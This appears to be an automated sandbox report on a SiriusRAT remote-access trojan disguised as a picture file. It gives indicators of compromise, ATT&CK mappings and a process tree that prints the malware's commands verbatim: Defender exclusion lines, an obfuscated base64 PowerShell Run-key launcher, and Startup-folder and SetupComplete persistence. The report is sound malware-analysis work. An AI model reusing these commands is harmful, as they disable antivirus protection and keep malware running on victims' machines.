siriusrat | d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/08/2026, 02:51

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General

Target
SAMPLE PICTURE DRAWING.exe
Size 2.8MB
Sample260817-dclymssvhy
SHA256 d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2
MD5 1b5cf1be9596e2106fda9b3fc53e2303
SHA1 96a2857fd37d31e58123959a803a31f0783e53c4
SHA512 62eb95f9691f1e2edaa7233cbc3bdeb9f57a0e3e3b3786cc7ee0498cc8ec82e5c92a0d0aa7c12ca03ec3152b37ff716fc2076f4c0b3db016f40a12816d3b345f
SSDEEP 49152:zclU7fypJ2gNThv0RmREsfw4Ga05obBaksURjPCowSezQOstIBd7xAvcHk1pR:oa22DmRzfZbjsURjaSOstIBecHER
TLSH
T139D523881729DF02E5D21BF95935E3B427F44E84A522D3038EF93DFBB82972424897D6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution siriusrat persistence privilege_escalation rat

Malware Config

Signatures

Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
rat siriusrat

Detects SiriusRAT 43 IoCs

resource	yara_rule
behavioral1/memory/5700-12-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-17-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-18-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-20-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-19-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-14-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-16-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-13-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5700-34-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-51-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-56-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-55-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-53-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-54-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1012-70-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1012-71-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1012-69-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1012-67-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1012-68-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-94-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-95-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/1028-98-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-107-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-110-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-109-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-108-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-111-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-127-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/4248-128-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-140-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-143-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-142-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-144-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-141-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-157-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/5548-158-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-162-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-165-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-163-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-166-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-164-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-191-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat
behavioral1/memory/940-190-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1272	powershell.exe
5140	powershell.exe
4876	powershell.exe
5468	powershell.exe
1340	powershell.exe
3716	powershell.exe
2708	powershell.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	SAMPLE PICTURE DRAWING.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	ZfzWObf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	svchost.exe

Creates a file in the Startup directory 1 TTPs 5 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.vbs	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.vbs	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.vbs	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.vbs	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.vbs	svchost.exe

Executes dropped EXE 10 IoCs

pid	Process
5108	svchost.exe
1712	ZfzWObf.exe
1028	svchost.exe
1012	ZfzWObf.exe
1772	svchost.exe
1992	svchost.exe
4248	svchost.exe
5548	svchost.exe
808	svchost.exe
940	svchost.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ZfzWObf = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$5gymtu=[System.Environment]::TickCount;$p3c52z=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jymr2p=$env:COMPUTERNAME;$kxxafh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFpmeldPYmYuZXhl')));$wush2e=1657;& $p3c52z -FilePath $kxxafh\""	SAMPLE PICTURE DRAWING.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\ProgramData\\Microsoft\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\ProgramData\\Microsoft\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\ProgramData\\msupdate\\svchost.exe\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\ProgramData\\msupdate\\svchost.exe\\svchost.exe"	svchost.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
17	ip-api.com
40	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3896 set thread context of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 5108 set thread context of 1028	5108	svchost.exe	109
PID 1712 set thread context of 1012	1712	ZfzWObf.exe	113
PID 1772 set thread context of 4248	1772	svchost.exe	119
PID 1992 set thread context of 5548	1992	svchost.exe	123
PID 808 set thread context of 940	808	svchost.exe	128

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Setup\Scripts\SetupComplete.cmd	svchost.exe
File created	C:\Windows\Setup\Scripts\payload.exe	svchost.exe
File created	C:\Windows\Setup\Scripts\SetupComplete.cmd	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\payload.exe	svchost.exe
File created	C:\Windows\Setup\Scripts\payload.exe	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\payload.exe	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\SetupComplete.cmd	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\payload.exe	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\SetupComplete.cmd	svchost.exe
File opened for modification	C:\Windows\Setup\Scripts\payload.exe	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1272	powershell.exe
1272	powershell.exe
2708	powershell.exe
2708	powershell.exe
5140	powershell.exe
5140	powershell.exe
4876	powershell.exe
4876	powershell.exe
5468	powershell.exe
5468	powershell.exe
1340	powershell.exe
1340	powershell.exe
3716	powershell.exe
3716	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1028	svchost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	5140	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	5468	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1028	svchost.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 1272	3896	SAMPLE PICTURE DRAWING.exe	96
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 3896 wrote to memory of 5700	3896	SAMPLE PICTURE DRAWING.exe	98
PID 5700 wrote to memory of 5108	5700	SAMPLE PICTURE DRAWING.exe	100
PID 2708 wrote to memory of 1712	2708	powershell.exe	103
PID 5108 wrote to memory of 5140	5108	svchost.exe	107
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 5108 wrote to memory of 1028	5108	svchost.exe	109
PID 1712 wrote to memory of 4876	1712	ZfzWObf.exe	111
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1712 wrote to memory of 1012	1712	ZfzWObf.exe	113
PID 1012 wrote to memory of 1992	1012	ZfzWObf.exe	116
PID 1772 wrote to memory of 5468	1772	svchost.exe	117
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1772 wrote to memory of 4248	1772	svchost.exe	119
PID 1992 wrote to memory of 1340	1992	svchost.exe	121
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 1992 wrote to memory of 5548	1992	svchost.exe	123
PID 808 wrote to memory of 3716	808	svchost.exe	126
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128
PID 808 wrote to memory of 940	808	svchost.exe	128

C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe
"C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe
  "C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5700
- - C:\ProgramData\Microsoft\svchost.exe
    C:\ProgramData\Microsoft\svchost.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\svchost.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5140
  - - C:\ProgramData\Microsoft\svchost.exe
      C:\ProgramData\Microsoft\svchost.exe
      4⤵
      Creates a file in the Startup directory
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      Checks processor information in registry
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:1028

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$5gymtu=[System.Environment]::TickCount;$p3c52z=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jymr2p=$env:COMPUTERNAME;$kxxafh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFpmeldPYmYuZXhl')));$wush2e=1657;& $p3c52z -FilePath $kxxafh"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
  "C:\Users\Admin\AppData\Roaming\ZfzWObf.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZfzWObf.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- - C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
    C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\ProgramData\msupdate\svchost.exe\svchost.exe
      C:\ProgramData\msupdate\svchost.exe\svchost.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\msupdate\svchost.exe\svchost.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1340
    - - C:\ProgramData\msupdate\svchost.exe\svchost.exe
        
        C:\ProgramData\msupdate\svchost.exe\svchost.exe
        5⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Checks processor information in registry
        
        PID:5548

C:\ProgramData\Microsoft\svchost.exe
C:\ProgramData\Microsoft\svchost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\svchost.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5468
- C:\ProgramData\Microsoft\svchost.exe
  C:\ProgramData\Microsoft\svchost.exe
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Checks processor information in registry
  PID:4248

C:\ProgramData\msupdate\svchost.exe\svchost.exe
C:\ProgramData\msupdate\svchost.exe\svchost.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData\msupdate\svchost.exe\svchost.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\ProgramData\msupdate\svchost.exe\svchost.exe
  C:\ProgramData\msupdate\svchost.exe\svchost.exe
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Checks processor information in registry
  PID:940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

svchost.exe

Path C:\ProgramData\Microsoft\svchost.exe
Size 2.8MB
SHA256 d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2
MD5 1b5cf1be9596e2106fda9b3fc53e2303
SHA1 96a2857fd37d31e58123959a803a31f0783e53c4
SHA512 62eb95f9691f1e2edaa7233cbc3bdeb9f57a0e3e3b3786cc7ee0498cc8ec82e5c92a0d0aa7c12ca03ec3152b37ff716fc2076f4c0b3db016f40a12816d3b345f
SSDEEP 49152:zclU7fypJ2gNThv0RmREsfw4Ga05obBaksURjPCowSezQOstIBd7xAvcHk1pR:oa22DmRzfZbjsURjaSOstIBecHER
TLSH
T139D523881729DF02E5D21BF95935E3B427F44E84A522D3038EF93DFBB82972424897D6
MD5 SHA1 SHA512 SSDEEP TLSH

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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svchost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log
Size 1KB
SHA256 abfc56372bee93b3c083a66ac449e55f824c5ef64cbb87d656011cc0ff1ec6c1
MD5 00e11b196d5ba77191cba469e8925764
SHA1 f1546b803f20c8b4010f862843edc0b0771a681b
SHA512 985bd5a4d4f516701e54a4c361dd3a454cb107694cd240336e32365822f49b47f0a2e0cc04ae7866bfd4d142175540bb329f02f3e1b990e9a09c63c2e258f0a7
TLSH
T1F731CD712376F1D889163F422C5D2A8007BF0776BB90EE1CB5A8625EED2601B5F212F7
MD5 SHA1 SHA512 TLSH

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